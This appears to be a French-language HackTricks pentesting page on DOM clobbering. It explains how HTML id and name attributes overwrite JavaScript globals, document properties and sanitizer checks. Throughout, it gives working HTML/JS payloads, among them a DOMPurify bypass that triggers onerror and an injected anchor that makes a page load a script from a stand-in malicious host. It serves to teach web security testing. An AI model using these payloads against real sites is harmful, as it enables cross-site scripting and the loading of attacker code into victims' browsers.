hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2023-06-03 13:10:46 +00:00

14 KiB

Dom Clobbering

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Fondamentaux

Il est possible de générer des variables globales à l'intérieur du contexte JS avec les attributs id et name dans les balises HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Seuls certains éléments peuvent utiliser l'attribut name pour écraser les variables globales, il s'agit de: embed, form, iframe, image, img et object.

Curieusement, lorsque vous utilisez un élément de formulaire pour écraser une variable, vous obtenez la valeur toString de l'élément lui-même: [object HTMLFormElement], mais avec anchor le toString sera le href de l'ancre. Par conséquent, si vous écrasez en utilisant la balise a, vous pouvez contrôler la valeur lorsqu'elle est traitée comme une chaîne de caractères:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Tableaux et Attributs

Il est également possible de clobber un tableau et les attributs d'un objet :

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Pour écraser un 3ème attribut (par exemple x.y.z), vous devez utiliser un form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Écraser plus d'attributs est plus compliqué mais toujours possible, en utilisant des iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} La balise style est utilisée pour donner suffisamment de temps à l'iframe pour se rendre. Sans cela, vous obtiendrez une alerte d'indéfini. {% endhint %}

Pour écraser des attributs plus profonds, vous pouvez utiliser des iframes avec encodage HTML de cette manière :

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Contournement de filtres

Si un filtre boucle à travers les propriétés d'un nœud en utilisant quelque chose comme document.getElementByID('x').attributes, vous pouvez écraser l'attribut .attributes et casser le filtre. D'autres propriétés DOM comme tagName, nodeName ou parentNode et plus encore sont également écrasables.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Écrasement de window.someObject

Un modèle couramment utilisé par les développeurs JavaScript est :

var someObject = window.someObject || {};

Si vous pouvez contrôler une partie du HTML sur la page, vous pouvez écraser la référence someObject avec un nœud DOM, tel qu'une ancre. Considérez le code suivant:

<script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

Pour exploiter ce code vulnérable, vous pouvez injecter le HTML suivant pour écraser la référence someObject avec un élément d'ancre :

{% code overflow="wrap" %}

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

{% endcode %}

Injecter ces données window.someObject.url va donner href=//malicious-website.com/malicious.js

Astuce: DOMPurify vous permet d'utiliser le protocole cid:, qui n'encode pas les guillemets doubles. Cela signifie que vous pouvez injecter une guillemet double encodée qui sera décodée à l'exécution. Par conséquent, l'injection de quelque chose comme <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> fera que l'encodage HTML &quot; sera décodé à l'exécution et s'échappera de la valeur de l'attribut pour créer l'événement onerror.

Une autre technique courante consiste à utiliser l'élément form. Certaines bibliothèques côté client parcourront les attributs de l'élément de formulaire créé pour le nettoyer. Mais, si vous créez un input à l'intérieur du formulaire avec id=attributes, vous allez écraser la propriété d'attributs et le nettoyeur ne pourra pas parcourir les vrais attributs.

Vous pouvez trouver un exemple de ce type d'écrasement dans ce writeup CTF.

Écrasement de l'objet document

Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant DOM Clobbering:

L'interface Document prend en charge les propriétés nommées. Les noms de propriétés pris en charge d'un objet Document document à tout moment se composent des éléments suivants, dans l'ordre de l'arbre selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec des valeurs provenant des attributs id venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :

- La valeur de l'attribut de contenu name pour tous les éléments exposés embed, form, iframe, img, et exposés object qui ont un attribut de contenu name non vide et sont dans un arbre de document avec le document comme racine;

- La valeur de l'attribut de contenu id pour tous les éléments exposés object qui ont un attribut de contenu id non vide et sont dans un arbre de document avec le document comme racine;

- La valeur de l'attribut de contenu id pour tous les éléments img qui ont à la fois un attribut de contenu id non vide et un attribut de contenu name non vide, et sont dans un arbre de document avec le document comme racine.

En utilisant cette technique, vous pouvez remplacer des valeurs couramment utilisées telles que document.cookie, document.body, document.children, et même des méthodes de l'interface Document comme document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Écriture après l'élément ciblé

Vous pouvez écraser les résultats d'un appel document.getElementById() et document.querySelector() si vous injectez une balise <html> ou <body> avec le même attribut id. Voici un exemple:

<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>

Ce qui est également intéressant, c'est que vous pouvez cacher des éléments de innerText, donc si vous injectez une balise HTML/body, vous pouvez utiliser des styles pour la cacher de innerText afin d'empêcher d'autres textes d'interférer avec votre attaque:

<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>

Nous avons également examiné SVG et il est possible d'utiliser la balise <body> là-bas:

<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

Il est nécessaire d'utiliser la balise <foreignobject> pour utiliser la balise HTML à l'intérieur de SVG sur Chrome et Firefox.

<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

Clobbering de formulaires

Il est possible d'ajouter de nouvelles entrées dans un formulaire simplement en spécifiant l'attribut form dans certaines balises. Vous pouvez utiliser cela pour ajouter de nouvelles valeurs dans un formulaire et même ajouter un nouveau bouton pour l'envoyer (clickjacking ou en abusant de certains codes JS .click()):

{% code overflow="wrap" %}

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥